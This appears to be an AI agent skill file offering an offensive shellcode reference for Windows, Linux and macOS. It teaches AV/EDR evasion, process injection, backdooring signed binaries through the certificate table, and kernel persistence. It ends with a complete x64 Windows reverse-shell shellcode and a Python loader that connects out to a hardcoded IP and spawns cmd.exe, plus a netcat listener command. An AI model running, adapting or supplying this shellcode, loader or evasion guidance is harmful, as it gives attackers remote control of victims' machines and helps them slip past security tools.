| name | offensive-shellcode |
| description | Shellcode development reference for offensive security engagements. Use when writing custom x86/x64 shellcode, implementing position-independent code (PIC), building shellcode loaders, evading AV/EDR detection, or converting PE files to shellcode. Covers null byte avoidance, API hashing, encoder/decoder patterns, staged vs stageless payloads, Windows PEB traversal, and cross-platform shellcode techniques. |
Shellcode Development Workflow
- Define concept and target platform (x86/x64, Windows/Linux/macOS)
- Write assembly using position-independent techniques
- Extract binary and test in controlled environment
- Apply null byte avoidance and optimizations
- Encode/encrypt to evade static detection
- Package with loader and choose delivery method
Basic Concepts
Execution Pattern (Allocate-Write-Execute)
Avoid direct PAGE_EXECUTE_READWRITE — prefer:
- Allocate with
PAGE_READWRITE
- Write shellcode to allocated region
- Call
VirtualProtect to switch to PAGE_EXECUTE_READ
char *dest = VirtualAlloc(NULL, 0x1234, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
memcpy(dest, shellcode, 0x1234);
VirtualProtect(dest, 0x1234, PAGE_EXECUTE_READ, &old);
((void(*)())dest)();
Position-Independent Code (PIC) Techniques
| Method | Platform | Notes |
|---|
| Call/Pop | Windows | Push next addr, pop into register |
| FPU state | Windows | fstenv saves instruction pointer |
| SEH | Windows | Exception handler stores EIP |
| GOT | Linux | Global Offset Table |
| VDSO | Linux | Kernel-provided shared object |
Windows API Resolution (PEB Walk)
Identifying kernel32.dll without imports:
- Get
PEB via gs:[0x60] (x64) or fs:[0x30] (x86)
- Walk
PEB->Ldr.InMemoryOrderModuleList — order: exe → ntdll → kernel32
- Hash-compare module names to locate
kernel32
- Parse the Export Address Table (EAT)
- Find
GetProcAddress by name hash, then resolve LoadLibraryA
- Use
LoadLibraryA to load WS2_32.dll, resolve Winsock functions
WinDbg helpers for debugging PEB walk:
dt nt!_TEB -y ProcessEnvironmentBlock @$teb
dt nt!_PEB -y Ldr <peb_addr>
dt -r _PEB_LDR_DATA <ldr_addr>
dt _LDR_DATA_TABLE_ENTRY (<init_flink_addr> - 0x10)
lm m kernel32
r @r8
Shellcode Loaders
Loader Responsibilities
- Environment verification / keying (sandbox detection)
- Shellcode decryption
- Safe memory allocation and injection
- Ends its duties after injecting
Recommended languages: Zig (small, no runtime), Rust (secure), Nim, Go (watch for runtime signatures)
Allocation Phase
Avoid RWX allocations — use two-step:
VirtualAllocEx / NtAllocateVirtualMemory — allocate RW
ZwCreateSection + NtMapViewOfSection — alternative approach
- After writing:
VirtualProtectEx to switch to RX
Other options: code caves, stack/heap (with DEP disabled)
Write Phase
WriteProcessMemory / NtWriteVirtualMemory
memcpy to mapped section
Evasion tips:
- Prepend shellcode with dummy opcodes
- Split into chunks, write in randomized order
- Add delays between writes
Execute Phase
Most scrutinized step — EDR checks thread start address against image-backed memory:
| Technique | Notes |
|---|
CreateRemoteThread / ZwCreateThreadEx | Loud, heavily monitored |
NtSetContextThread | Hijack suspended thread |
NtQueueApcThreadEx | APC injection |
| API trampolines | Overwrite function prologue |
| ThreadlessInject | No new threads created |
Indirect execution resources:
PE-to-Shellcode Conversion
| Tool | Purpose |
|---|
| Donut | EXE/DLL → shellcode |
| sRDI | DLL → position-independent shellcode |
| Pe2shc | PE → shellcode |
| Amber | Reflective PE packer |
Open-source loaders:
Shellcode Storage & Hiding
| Location | Risk | Notes |
|---|
Hardcoded in .text | Medium | Requires recompile; stored RW/RO |
PE Resources (RCDATA) | High | Most scanned by AV |
| Extra PE section | Medium | Use second-to-last section |
| Certificate Table | Low | Keeps signed PE signature intact |
| Internet-hosted | Variable | SharpShooter |
Certificate Table technique (recommended):
- Pad Certificate Table with shellcode bytes; update PE headers
- Backdoor only the loader DLL (e.g.,
ffmpeg.dll in teams.exe)
- Main executable signature remains valid; only the DLL signature breaks
Protection: Compress with LZMA; encrypt with XOR32, RC4, or AES before storing.
Windows 11 24H2 note: AMSI heap scanning is active. Allocate with PAGE_NOACCESS, decrypt in place, then switch to PAGE_EXECUTE_READ to avoid live-heap scans.
Evasion
Progressive Evasion Escalation
- Basic shellcode execution (baseline)
- Add XOR/AES encryption + obfuscation
- Direct syscalls to bypass userland hooks
- Remote process injection as last resort
Local vs Remote Injection
Remote injection is more detectable:
CFG / CIG enforcement
- ETW Ti feeds
- EDR call-stack back-tracing (
NtOpenProcess invocation source)
- More scrutinized steps: OpenProcess → Allocate → Write → Execute
Defender bypass tools (DefenderBypass):
myEncoder3.py — XOR-encrypt binary shellcode
InjectBasic.cpp — basic C++ injector
InjectCryptXOR.cpp — XOR decrypt + inject
InjectSyscall-LocalProcess.cpp — direct syscalls, no suspicious IAT entries
InjectSyscall-RemoteProcess.cpp — remote process injection via direct syscalls
Cross-Platform Considerations
Windows on ARM64 (WoA)
- Syscalls use
SVC 0 with ARM64 table in ntdll!KiServiceTableArm64
- Pointer Authentication (PAC) signs LR — avoid stack pivots or re-sign with
PACIASP
Linux 6.9+ (eBPF Arena)
BPF_MAP_TYPE_ARENA maps can hold executable memory
- Hide shellcode chunks in arena map, execute via
bpf_prog_run_pin_on_cpu
macOS (Signed System Volume)
- macOS 12+ seals the system partition; unsigned payloads cannot reside there
- Userspace: launch agents, dylib hijacks in
/Library/Apple/System/Library/Dyld/
- Kernel persistence: create sealed snapshot, mount RW, inject, resign with
kmutil, bless
DripLoader Technique
github.com/xuanxuan0/DripLoader:
- Reserve 64KB chunks with
NO_ACCESS
- Allocate 4KB
RW chunks within that pool
- Write shellcode in chunks in randomized order
- Re-protect to
RX
- Overwrite prologue of
ntdll!RtlpWow64CtxFromAmd64 with JMP trampoline
- All calls via direct syscalls:
NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx
Full x64 Reverse Shell Shellcode (Windows)
Complete Python/Keystone example implementing PEB walk → GetProcAddress → LoadLibraryA → Winsock connect → CreateProcessA(cmd.exe):
import ctypes, struct
from keystone import *
CODE = (
" start: "
" add rsp, 0xfffffffffffffdf8 ;"
" find_kernel32: "
" int3 ;"
" xor rcx, rcx ;"
" mov rax, gs:[rcx + 0x60] ;"
" mov rax, [rax + 0x18] ;"
" mov rsi, [rax + 0x20] ;"
" lodsq ;"
" xchg rax, rsi ;"
" lodsq ;"
" mov rbx, [rax + 0x20] ;"
" mov r8, rbx ;"
" mov ebx, [rbx+0x3C] ;"
" add rbx, r8 ;"
" xor r12,r12 ;"
" add r12, 0x88FFFFF ;"
" shr r12, 0x14 ;"
" mov edx, [rbx+r12] ;"
" add rdx, r8 ;"
" mov r10d, [rdx+0x14] ;"
" xor r11, r11 ;"
" mov r11d, [rdx+0x20] ;"
" add r11, r8 ;"
" mov rcx, r10 ;"
" k32findfunction: "
" jecxz functionfound ;"
" xor ebx,ebx ;"
" mov ebx, [r11+4+rcx*4] ;"
" add rbx, r8 ;"
" dec rcx ;"
" mov rax, 0x41636f7250746547 ;"
" cmp [rbx], rax ;"
" jnz k32findfunction ;"
" functionfound: "
" xor r11, r11 ;"
" mov r11d, [rdx+0x24] ;"
" add r11, r8 ;"
" inc rcx ;"
" mov r13w, [r11+rcx*2] ;"
" xor r11, r11 ;"
" mov r11d, [rdx+0x1c] ;"
" add r11, r8 ;"
" mov eax, [r11+4+r13*4] ;"
" add rax, r8 ;"
" mov r14, rax ;"
" mov rcx, 0x41797261 ;"
" push rcx ;"
" mov rcx, 0x7262694c64616f4c ;"
" push rcx ;"
" mov rdx, rsp ;"
" mov rcx, r8 ;"
" sub rsp, 0x30 ;"
" call r14 ;"
" add rsp, 0x40 ;"
" mov rsi, rax ;"
" xor rax, rax ;"
" mov rax, 0x6C6C ;"
" push rax ;"
" mov rax, 0x642E32335F325357 ;"
" push rax ;"
" mov rcx, rsp ;"
" sub rsp, 0x30 ;"
" call rsi ;"
" mov r15, rax ;"
" add rsp, 0x40 ;"
" mov rax, 0x7075 ;"
" push rax ;"
" mov rax, 0x7472617453415357 ;"
" push rax ;"
" mov rdx, rsp ;"
" mov rcx, r15 ;"
" sub rsp, 0x30 ;"
" call r14 ;"
" add rsp, 0x40 ;"
" mov r12, rax ;"
" xor rcx,rcx ;"
" mov cx,408 ;"
" sub rsp,rcx ;"
" lea rdx,[rsp] ;"
" mov cx,514 ;"
" sub rsp,88 ;"
" call r12 ;"
" mov rax, 0x4174 ;"
" push rax ;"
" mov rax, 0x656b636f53415357 ;"
" push rax ;"
" mov rdx, rsp ;"
" mov rcx, r15 ;"
" sub rsp, 0x30 ;"
" call r14 ;"
" add rsp, 0x40 ;"
" mov r12, rax ;"
" sub rsp,0x208 ;"
" xor rdx, rdx ;"
" sub rsp, 88 ;"
" mov [rsp+32], rdx ;"
" mov [rsp+40], rdx ;"
" inc rdx ;"
" mov rcx, rdx ;"
" inc rcx ;"
" xor r8,r8 ;"
" add r8,6 ;"
" xor r9,r9 ;"
" mov r9w,98*4 ;"
" mov ebx,[r15+r9] ;"
" xor r9,r9 ;"
" call r12 ;"
" mov r13, rax ;"
" add rsp, 0x208 ;"
" mov rax, 0x7463 ;"
" push rax ;"
" mov rax, 0x656e6e6f43415357 ;"
" push rax ;"
" mov rdx, rsp ;"
" mov rcx, r15 ;"
" sub rsp, 0x30 ;"
" call r14 ;"
" add rsp, 0x40 ;"
" mov r12, rax ;"
" mov rcx, r13 ;"
" sub rsp,0x208 ;"
" xor rax,rax ;"
" inc rax ;"
" inc rax ;"
" mov [rsp], rax ;"
" mov rax, 0xbb01 ;"
" mov [rsp+2], rax ;"
" mov rax, 0x31061fac ;"
" mov [rsp+4], rax ;"
" lea rdx,[rsp] ;"
" mov r8, 0x16 ;"
" xor r9,r9 ;"
" push r9 ;"
" push r9 ;"
" push r9 ;"
" sub rsp, 0x88 ;"
" call r12 ;"
" xor rcx, rcx ;"
" mov rax, gs:[rcx + 0x60] ;"
" mov rax, [rax + 0x18] ;"
" mov rsi, [rax + 0x20] ;"
" lodsq ;"
" xchg rax, rsi ;"
" lodsq ;"
" mov rbx, [rax + 0x20] ;"
" mov r8, rbx ;"
" mov rax, 0x41737365636f ;"
" push rax ;"
" mov rax, 0x7250657461657243 ;"
" push rax ;"
" mov rdx, rsp ;"
" mov rcx, r8 ;"
" sub rsp, 0x30 ;"
" call r14 ;"
" add rsp, 0x40 ;"
" mov r12, rax ;"
" mov rax, 0x6578652e646d63 ;"
" push rax ;"
" mov rcx, rsp ;"
" push r13 ;"
" push r13 ;"
" push r13 ;"
" xor rax,rax ;"
" push ax ;"
" push rax ;"
" push rax ;"
" mov rax, 0x100 ;"
" push ax ;"
" xor rax,rax ;"
" push ax ;"
" push ax ;"
" push rax ;"
" push rax ;"
" push rax ;"
" push rax ;"
" push rax ;"
" push rax ;"
" mov rax, 0x68 ;"
" push rax ;"
" mov rdi,rsp ;"
" mov rax, rsp ;"
" sub rax, 0x500 ;"
" push rax ;"
" push rdi ;"
" xor rax, rax ;"
" push rax ;"
" push rax ;"
" push rax ;"
" inc rax ;"
" push rax ;"
" xor rax, rax ;"
" push rax ;"
" push rax ;"
" push rax ;"
" push rax ;"
" mov r8, rax ;"
" mov r9, rax ;"
" mov rdx, rcx ;"
" mov rcx, rax ;"
" call r12 ;"
)
ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)
sh = b""
for e in encoding:
sh += struct.pack("B", e)
shellcode = bytearray(sh)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
ctypes.windll.kernel32.RtlCopyMemory.argtypes = (ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t)
ctypes.windll.kernel32.CreateThread.argtypes = (
ctypes.c_int, ctypes.c_int, ctypes.c_void_p,
ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int),
)
ptr = ctypes.windll.kernel32.VirtualAlloc(
ctypes.c_int(0), ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000), ctypes.c_int(0x40)
)
buf = (ctypes.c_char * len(shellcode)).from_buffer_copy(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(ptr), buf, ctypes.c_int(len(shellcode)))
print("Shellcode at %s" % hex(ptr))
input("Press ENTER to execute...")
ht = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(ptr),
ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)),
)
ctypes.windll.kernel32.WaitForSingleObject(ht, -1)
Note: Update IP (0x31061fac) and port (0xbb01) before use. Listener: nc -nvlp 443
Windows 11 23H2: Smart App Control may block outbound TCP 443/4444 to local subnets. Use a non-standard port or a named-pipe payload.